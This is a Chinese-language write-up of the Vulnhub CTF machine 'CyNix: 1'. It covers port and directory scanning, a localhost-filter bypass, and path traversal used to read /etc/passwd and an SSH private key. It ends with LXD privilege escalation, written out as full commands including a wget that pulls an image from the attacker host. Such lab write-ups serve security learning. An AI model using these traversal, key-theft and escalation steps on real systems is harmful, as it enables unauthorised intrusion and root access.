Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚机到获取操作系统的root权限和查看flag。
靶机名称:CyNix: 1
所属系列:CyNix
发布日期:2019年11月18日
难度:中等
目标:共有两个:User flag:user.txt、Root flag: root.txt
靶机地址:https://www.vulnhub.com/entry/cynix-1,394/#
IP地址 | 类型 | 说明 |
---|---|---|
192.168.88.136 | 靶机 | 使用Vmware打开,网络连接方式设置为桥接,靶机自动获取IP,只能自己通过nmap探测靶机IP |
192.168.88.157 | 攻击者 | kali |
首先使用nmap 扫描端口信息
命令:nmap -v -T4 -p- 192.168.88.110
扫描结果如下:
发现只开了80和6688(ssh),抱着试试的心态拿出hydra疯狂爆破一波,发现没有什么卵用。还是老老实实从web下手吧;
打开浏览器访问一下80,发现存在一个Apache的默认页面
这里使用的kali里面的DIRB和御剑,用dirb默认的字典只扫出来了两个页面,index和server-status(server-status还是一个经典的403 Forbidden);
命令:dirb http://192.168.88.136/
dirb扫描结果如下:
初恋版御剑扫描结果如下:
显然还存在其他页面,所以我尝试更换不同的字典,更换了几个字典之后终于出现了一个新的面孔,扫出来一个名为/lavalamp/的目录,事实证明:扫描目录,字典真的很重要~
访问该目录之后出现了一个标题为Site is Still Under Development的页面,但是功能按钮几乎都不能使用,功能都未实现;
浏览一圈发现只有一个CONTACT US可以使用,可以正常提交相关信息
通过提交信息,burp抓包发现会把信息提交给一个canyoubypassme.php页面
访问之后映入眼帘的是一张黑阔帝国的剧照(密集恐惧症者需慎重)
http://192.168.88.136/lavalamp/canyoubypassme.php
看着就一张图片,翻了翻源码发现了一个有趣的css属性:opacity(透明度),而且值还是0.0,把这个table隐藏了
把透明度属性值调整为1.0之后,出现一个输入框与提交按钮
随便输入一些字符发现没有任何反应,只出现一个黑色框框,只有输入域名的时候会显示出来html代码
打开burp进行抓包测试,发现总共有两个值file和read,测试之后发现read的值好像不影响,所以重心放在了file上,当值为:http://2130706433/、http://127.0.0.1/、http://localhost/其实任意一个的时候都会提示:“I'm watching you. Trying to access Localhost?”,所以好像127这里不太好用;
测试一波发现当file值为:“http://192.168.88.136/”的时候,会提示:“Hmmm, trying an IP? Haha, Try harder ;)”,只有file值为:“http://3232258184/”的时候才不会提示,但是在尝试读取文件的时候发现也不太好使,读取不了文件;
PS:上面所提到的IP地址127.0.0.1和数字地址2130706433,其实这两个都是指127.0.0.1,只不过表现形式不太一样;
我这里用的是php代码实现的,代码如下:
<?php
header("Content-Type:text/html;charset=utf-8");
echo '127.0.0.1的数字地址为:'.ip2long("127.0.0.1");
echo "</br>";
echo '192.168.88.136的数字地址为:';
echo sprintf("%u\n",ip2long("192.168.88.136"));
?>
网上有在线转换平台,如:IP转数字在线工具:http://www.jsons.cn/ipnum/;
所以只能另辟蹊径,尝试直接读取文件,当file=../../../../../../etc/passwd,提示不被允许
最后是在前面随便加上一个目录才绕过去,成功读取到了passwd文件
file=/test/../../../etc/passwd
这个passwd文件中有一个点比较重要:除了系统默认的之外,有一个名为ford,UID为1000且可以登录的用户;结合前面扫描的端口6688(ssh),所以接下来的突破点应该在ssh和这个用户...
于是尝试去读取ford的相关文件,在/home/ford/.ssh/找到了公钥、私钥,并将私钥保存到本地;
/home/ford/.ssh/id_rsa和/home/ford/.ssh/id_rsa.pub
拿到秘钥之后准备尝试登录,打开本地的Xshell,输入命令:ssh [email protected] 6688,用户身份验证方式选择“Public Key”,点击浏览,选择上一步保存到本地的私钥文件,点击确定,登录成功;
本次靶机的flag其中一个是User flag:user.txt,flag通常在用户的家目录或者网站根目录,切换用户家目录,执行ls命令,发现第一个flag:user.txt;
拿到第一个flag之后开始进行提权,使用id命令显示用户的UID以及所属组的GID,可以看到当前用户ford所属组中还有一个特殊的lxd组,这个是提权的关键点;
想要提升为root权限,需要为LXD创建一个镜像文件,首先在本机的kali中,通过git将构建好的alpine镜像克隆至本地,然后执行名为“build -alpine”的脚本,构建最新版本的Alpine镜像,将构建好的tar文件发送到目标服务器上;
命令:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
完成上面操作之后会在当前目录下生成一个tar.gz镜像文件
然后把这个文件发送到目标服务器上,我这里使用的是python自带的简单的服务器程序,在kali上运行:
命令:python3 -m http.server 8888
开启之后,在目标靶机上使用wget命令将镜像下载到靶机上
命令:wget http://192.168.88.157:8888/alpine-v3.11-x86_64-20191226_0324.tar.gz
下载完成之后,需要把镜像挂载到lxd中,然后检查一下当前可用容器,配置完成之后进入容器,定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash之后,得到一个容器的shell。这个容器中包含了目标主机的全部资源,拥有该靶机的root权限,成功通过LXD提权;
命令:
lxc image import ./alpine-v3.11-x86_64-20191226_0324.tar.gz --alias myimage
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
最后尝试搜索第二个Root flag: root.txt,在root家目录下,至此本次靶机的渗透就已经结束~~~
靶机导入vmware之后,网络适配器可以用NAT或者桥接都可以,但是需要自己去发现靶机IP,这个过程稍微比较麻烦;整个靶机渗透下来发现:前期进行目录扫描的时候很关键,多用几个扫描器,字典很重要,扫描到目录之后找到关键点,俗话说:简单的食材往往需要最高端的烹饪方式,最简单的页面可能就存在不简单的问题,其实在尝试绕过的时候我也是尝试了很久;最后就是提权,提权这个可能就需要心细和经验积累,如果之前没有遇到的话估计我也很难想到是LXD提权;
PS:如果有写的不好的地方还望大佬们多多指点,感谢~